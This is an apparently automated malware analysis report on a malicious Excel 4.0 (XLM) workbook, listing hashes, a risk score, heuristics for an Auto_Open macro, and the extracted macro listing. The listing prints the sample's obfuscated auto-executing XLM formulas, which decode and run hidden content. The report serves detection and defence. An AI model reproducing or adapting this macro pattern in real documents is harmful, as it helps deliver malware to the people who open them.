Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b0a2b3d5ca5d2608…

MALICIOUS

Office (OLE)

35.5 KB Created: 2020-11-25 10:29:10 Authoring application: Microsoft Excel First seen: 2021-02-18
MD5: f68f8b7203eeef1a5cbd69cf8e96adcd SHA-1: f1847b8e8fbeb803499e50916f684c498d11c1cc SHA-256: b0a2b3d5ca5d2608e6eb2960450cc278b64a6e0b01e4a2832e8799be4bc5006b
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6523 bytes
SHA-256: 70bdb9c3e4a120500a4664ebbba431da583d2a357a3ac4e8f2d45afac47e0d97
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     18 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  yvgZkxumJ
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!A158 
' 0018     21 LABEL : Cell Value, String Constant - CduYVD len=0 
' 0018     22 LABEL : Cell Value, String Constant - CjcBoWi len=0 
' 0018     22 LABEL : Cell Value, String Constant - ecDPsNp len=0 
' 0018     23 LABEL : Cell Value, String Constant - ELEFebeM len=0 
' 0018     21 LABEL : Cell Value, String Constant - eOvUKz len=0 
' 0018     20 LABEL : Cell Value, String Constant - hcSSz len=0 
' 0018     22 LABEL : Cell Value, String Constant - jPyoknF len=0 
' 0018     21 LABEL : Cell Value, String Constant - KEjMgS len=0 
' 0018     25 LABEL : Cell Value, String Constant - kHZHkQamYO len=0 
' 0018     27 LABEL : Cell Value, String Constant - KxylrUmEOhgX len=0 
' 0018     25 LABEL : Cell Value, String Constant - NpORakeECF len=0 
' 0018     20 LABEL : Cell Value, String Constant - pOlpI len=0 
' 0018     26 LABEL : Cell Value, String Constant - tEBgGMAmgiN len=0 
' 0018     23 LABEL : Cell Value, String Constant - VWZoJVrk len=0 
' 0018     20 LABEL : Cell Value, String Constant - wwaQf len=0 
' 0018     26 LABEL : Cell Value, String Constant - xcUYHIwJVXV len=0 
' 0018     25 LABEL : Cell Value, String Constant - xypEVdWWPW len=0 
' 0018     21 LABEL : Cell Value, String Constant - ytRBRo len=0 
' 0018     24 LABEL : Cell Value, String Constant - yYvZlUjav len=0 
' 0018     21 LABEL : Cell Value, String Constant - zRgCPE len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  yvgZkxumJ,A63,"SET.NAME("ELEFebeM",VALUE("0"))",""
'  yvgZkxumJ,A65,"SET.NAME("zRgCPE",ELEFebeM)",""
'  yvgZkxumJ,A70,"SET.NAME("yYvZlUjav",ELEFebeM)",""
'  yvgZkxumJ,A73,"SET.NAME("CduYVD",COUNTA(ytRBRo))",""
'  yvgZkxumJ,A75,"SET.NAME("NpORakeECF",COUNTA(hcSSz))",""
'  yvgZkxumJ,A77,[],""
'  yvgZkxumJ,A82,"SET.NAME("jPyoknF","")",""
'  yvgZkxumJ,A84,"zRgCPE",""
'  yvgZkxumJ,A88,"SET.NAME("ecDPsNp",HLOOKUP("*",ytRBRo,zRgCPE,FALSE))",""
'  yvgZkxumJ,A93,"CjcBoWi",""
'  yvgZkxumJ,A98,"SET.NAME("eOvUKz",ELEFebeM)",""
'  yvgZkxumJ,A103,[],""
'  yvgZkxumJ,A105,"eOvUKz",""
'  yvgZkxumJ,A110,"KEjMgS",""
'  yvgZkxumJ,A115,"wwaQf",""
'  yvgZkxumJ,A119,"tEBgGMAmgiN",""
'  yvgZkxumJ,A122,"SET.NAME("KxylrUmEOhgX",VALUE(HLOOKUP("*",hcSSz,tEBgGMAmgiN,FALSE)))",""
'  yvgZkxumJ,A125,"xcUYHIwJVXV",""
'  yvgZkxumJ,A129,"jPyoknF",""
'  yvgZkxumJ,A133,"yYvZlUjav",""
'  yvgZkxumJ,A136,NEXT(),""
'  yvgZkxumJ,A139,"xypEVdWWPW",""
'  yvgZkxumJ,A143,"SET.NAME("f",INT(T(FORMULA(T(jPyoknF)&"",""&T(xypEVdWWPW)))))",""
'  yvgZkxumJ,A145,"kHZHkQamYO",""
'  yvgZkxumJ,A150,NEXT(),""
'  yvgZkxumJ,A154,RETURN(),""
'  yvgZkxumJ,A185,"SET.NAME("pOlpI",A63)",""
'  yvgZkxumJ,A188,"ytRBRo",""
'  yvgZkxumJ,A191,"SET.NAME("hcSSz",R58C14)",""
'  yvgZkxumJ,A194,"SET.NAME("kHZHkQamYO",201)",""
'  yvgZkxumJ,A197,"SET.NAME("VWZoJVrk",1)",""
'  yvgZkxumJ,A200,pOlpI(),""
'  yvgZkxumJ,A201,HALT(),""

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